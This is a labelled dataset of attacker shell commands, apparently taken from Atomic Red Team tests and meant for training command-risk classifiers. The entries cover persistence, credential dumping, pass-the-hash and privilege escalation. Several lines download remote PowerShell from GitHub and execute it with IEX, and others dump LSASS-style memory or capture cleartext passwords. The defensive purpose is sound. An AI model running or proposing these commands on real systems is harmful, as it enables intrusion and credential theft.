cowWhySo/permission-command-corpus huggingface dataset:
Command: sed -i "s/# Atomic Red Team was here... T1546.004//" ~/.profile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: Append commands user shell profile
Notes: An adversary may wish to establish persistence by executing malicious commands from the users ~/.profile every time the "user" logs in.
Command: echo '#{text_to_append}' >> /etc/profile.d/bash_completion.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: System shell profile scripts
Notes: An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time "any" user logs in.
Command: sed -i "s/# Atomic Red Team was here... T1546.004//" /etc/profile.d/bash_completion.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: System shell profile scripts
Notes: An adversary may wish to establish persistence by adding commands into any of the script files in the /etc/profile.d/ directory, which are executed every time "any" user logs in.
Command: useradd --create-home --shell /bin/bash art su -l art -c "echo 'echo \"Atomic Red Team was here... T1546.004\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: Create/Append to .bash_logout
Notes: The Bash shell runs ~/.bash_logout "if it exists" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an "interactive login shell session" i.e. via the console, SSH, /bin/bash -l or su -l <username>. 

This test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/a
Command: userdel -fr art
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.004
Platform: linux
ATT&CK tags: T1546.004
Source rule: Create/Append to .bash_logout
Notes: The Bash shell runs ~/.bash_logout "if it exists" to run commands on user logout. An adversary may create or append to a .bash_logout to clear history, start processes etc. Note the ~/.bash_logout is only run if you explicitly exit or log out of an "interactive login shell session" i.e. via the console, SSH, /bin/bash -l or su -l <username>. 

This test creates the art user, logs in, creates a .bash_logout which will echo some text into the art.txt file on logout and logs out and the /home/art/a
Command: driverquery /v /fo list driverquery /si /fo list
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1652
Platform: windows
ATT&CK tags: T1652
Source rule: Device Driver Discovery
Notes: Displays a list of installed device drivers on the local computer and their properties. Threat actors use this command to enumerate the existing drivers on the computer. 
Parameters: 
/v /fo list - Displays verbose output in a list format - the /v parameter is not valid for signed drivers
/si /fo list - Provides information about signed drivers and outputs it in a list format
Command: find /lib/modules/$(uname -r)/kernel/drivers -name "*.ko*"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1652
Platform: linux
ATT&CK tags: T1652
Source rule: Enumerate Kernel Driver Files (Linux)
Notes: Finds and lists all kernel driver files on a Linux system in order to provide a broader view of available drivers, not just loaded ones.
Command: IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso") Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" $mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter $finalpath = $mountedpath + ":\" cd $finalpath .\calc.exe.lnk
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.003
Platform: windows
ATT&CK tags: T1204.003
Source rule: Malicious Execution from Mounted ISO Image
Notes: Adversaries may rely on a user running a malicious image to facilitate execution
Command: start-sleep -s 5 stop-process -Name "Calculatorapp" -Force dismount-diskimage -ImagePath "$env:TEMP\qbot-test.iso"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1204.003
Platform: windows
ATT&CK tags: T1204.003
Source rule: Malicious Execution from Mounted ISO Image
Notes: Adversaries may rely on a user running a malicious image to facilitate execution
Command: cat /etc/pam.d/common-password
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: linux
ATT&CK tags: T1201
Source rule: Examine password complexity policy - Ubuntu
Notes: Lists the password complexity policy to console on Ubuntu Linux.
Command: cat /etc/pam.d/passwd
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: linux
ATT&CK tags: T1201
Source rule: Examine password complexity policy - FreeBSD
Notes: Lists the password complexity policy to console on FreeBSD.
Command: cat /etc/security/pwquality.conf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: linux
ATT&CK tags: T1201
Source rule: Examine password complexity policy - CentOS/RHEL 7.x
Notes: Lists the password complexity policy to console on CentOS/RHEL 7.x Linux.
Command: cat /etc/pam.d/system-auth cat /etc/security/pwquality.conf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: linux
ATT&CK tags: T1201
Source rule: Examine password complexity policy - CentOS/RHEL 6.x
Notes: Lists the password complexity policy to console on CentOS/RHEL 6.x Linux.
Command: cat /etc/login.defs
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: linux
ATT&CK tags: T1201
Source rule: Examine password expiration policy - All Linux
Notes: Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.
Command: net accounts
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: windows
ATT&CK tags: T1201
Source rule: Examine local password policy - Windows
Notes: Lists the local password policy to console on Windows.
Command: net accounts /domain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: windows
ATT&CK tags: T1201
Source rule: Examine domain password policy - Windows
Notes: Lists the domain password policy to console on Windows.
Command: pwpolicy getaccountpolicies
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: macos
ATT&CK tags: T1201
Source rule: Examine password policy - macOS
Notes: Lists the password policy to console on macOS.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: windows
ATT&CK tags: T1201
Source rule: Get-DomainPolicy with PowerView
Notes: Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller.
Command: secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: windows
ATT&CK tags: T1201
Source rule: Use of SecEdit.exe to export the local security policy (including the password policy)
Notes: SecEdit.exe can be used to export the current local security policy applied to a host.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
Command: aws iam get-account-password-policy
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1201
Platform: iaas:aws
ATT&CK tags: T1201
Source rule: Examine AWS Password Policy
Notes: This atomic test will display details about the password policy for the current AWS account.
Command: net stop w32time Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "Enabled" /d "1" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "InputProvider" /d "1" /f net start w32time
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.003
Platform: windows
ATT&CK tags: T1547.003
Source rule: Create a new time provider
Notes: Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
Command: net stop w32time reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.003
Platform: windows
ATT&CK tags: T1547.003
Source rule: Create a new time provider
Notes: Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
Command: net stop w32time Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "1" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "1" /f net start w32time
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.003
Platform: windows
ATT&CK tags: T1547.003
Source rule: Edit an existing time provider
Notes: Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
Command: net stop w32time reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Windows\SYSTEM32\w32time.DLL" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "0" /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "0" /f rm -force C:\Users\Public\AtomicTest.dll net start w32time
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.003
Platform: windows
ATT&CK tags: T1547.003
Source rule: Edit an existing time provider
Notes: Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
Command: if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.004
Platform: linux,macos
ATT&CK tags: T1098.004
Source rule: Modify SSH Authorized Keys
Notes: Modify contents of <user-home>/.ssh/authorized_keys to maintain persistence on victim host. 
If the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.
Command: unset ssh_authorized_keys
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.004
Platform: linux,macos
ATT&CK tags: T1098.004
Source rule: Modify SSH Authorized Keys
Notes: Modify contents of <user-home>/.ssh/authorized_keys to maintain persistence on victim host. 
If the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.
Command: Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path} Enable-TransportAgent #{transport_agent_identity} Get-TransportAgent | Format-List Name,Enabled
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.002
Platform: windows
ATT&CK tags: T1505.002
Source rule: Install MS Exchange Transport Agent Persistence
Notes: Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.
More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
Command: if(Get-Command "Get-TransportAgent" -ErrorAction Ignore){ Disable-TransportAgent #{transport_agent_identity} Uninstall-TransportAgent #{transport_agent_identity} Get-TransportAgent }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1505.002
Platform: windows
ATT&CK tags: T1505.002
Source rule: Install MS Exchange Transport Agent Persistence
Notes: Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.
More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help
Command: "#{gsecdump_exe}" -a
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003
Platform: windows
ATT&CK tags: T1003
Source rule: Gsecdump
Notes: Dump credentials from memory using Gsecdump.

Upon successful execution, you should see domain\username's followed by two 32 character hashes.

If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. 
You will receive only error output if you do not run this test from an elevated context (run as administrator)

If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and
Command: $cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER $cleanupUpdatedValue = $cleanupPath.PROVIDERORDER $cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy','' Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUpdatedValue Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -ErrorAction Ignore Remove-Item C:\NPPSpy.txt -ErrorAction Ignore Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003
Platform: windows
ATT&CK tags: T1003
Source rule: Credential Dumping with NPPSpy
Notes: Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.
After user's logging in cleartext password is saved in C:\NPPSpy.txt.
Clean up deletes the files and reverses Registry changes.
NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
Command: $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore) if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id } C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003
Platform: windows
ATT&CK tags: T1003
Source rule: Dump svchost.exe to gather RDP credentials
Notes: The svchost.exe contains the RDP plain-text credentials.
Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
Command: Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003
Platform: windows
ATT&CK tags: T1003
Source rule: Dump svchost.exe to gather RDP credentials
Notes: The svchost.exe contains the RDP plain-text credentials.
Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
Command: C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:* C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003
Platform: windows
ATT&CK tags: T1003
Source rule: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)
Notes: AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
Command: C:\Windows\System32\inetsrv\appcmd.exe list apppool /config
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003
Platform: windows
ATT&CK tags: T1003
Source rule: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)
Notes: AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
[Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
Command: rundll32.exe keymgr,KRShowKeyMgr
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003
Platform: windows
ATT&CK tags: T1003
Source rule: Dump Credential Manager using keymgr.dll and rundll32.exe
Notes: This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remo
Command: rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003
Platform: windows
ATT&CK tags: T1003
Source rule: Send NTLM Hash with RPC Test Connection
Notes: RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. 
Ref: https://twitter.com/vysecurity/status/974806438316072960
Command: #{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1550.002
Platform: windows
ATT&CK tags: T1550.002
Source rule: Mimikatz Pass the Hash
Notes: Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
Command: #{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1550.002
Platform: windows
ATT&CK tags: T1550.002
Source rule: crackmapexec Pass the Hash
Notes: command execute with crackmapexec
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1550.002
Platform: windows
ATT&CK tags: T1550.002
Source rule: Invoke-WMIExec Pass the Hash
Notes: Use Invoke-WMIExec to Pass the Hash
Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.001
Platform: windows
ATT&CK tags: T1134.001
Source rule: Named pipe client impersonation
Notes: Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.
When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.001
Platform: windows
ATT&CK tags: T1134.001
Source rule: `SeDebugPrivilege` token duplication
Notes: Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.
When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).
Command: Start-Process "#{nsudo_path}" -Argument "-U:T -P:E cmd" Start-Sleep -Second 5 Stop-Process -Name "cmd" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.001
Platform: windows
ATT&CK tags: T1134.001
Source rule: Launch NSudo Executable
Notes: Launches the NSudo executable for a short period of time and then exits.
NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.
Command: cd "PathToAtomicsFolder\..\ExternalPayloads" Start-Process .\BadPotato.exe notepad.exe Start-Sleep -Second 20 Stop-Process -Name "notepad" -force -erroraction silentlycontinue Stop-Process -Name "BadPotato" -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1134.001
Platform: windows
ATT&CK tags: T1134.001
Source rule: Bad Potato
Notes: https://github.com/BeichenDream/BadPotato
Privilege escalation using named pipe connections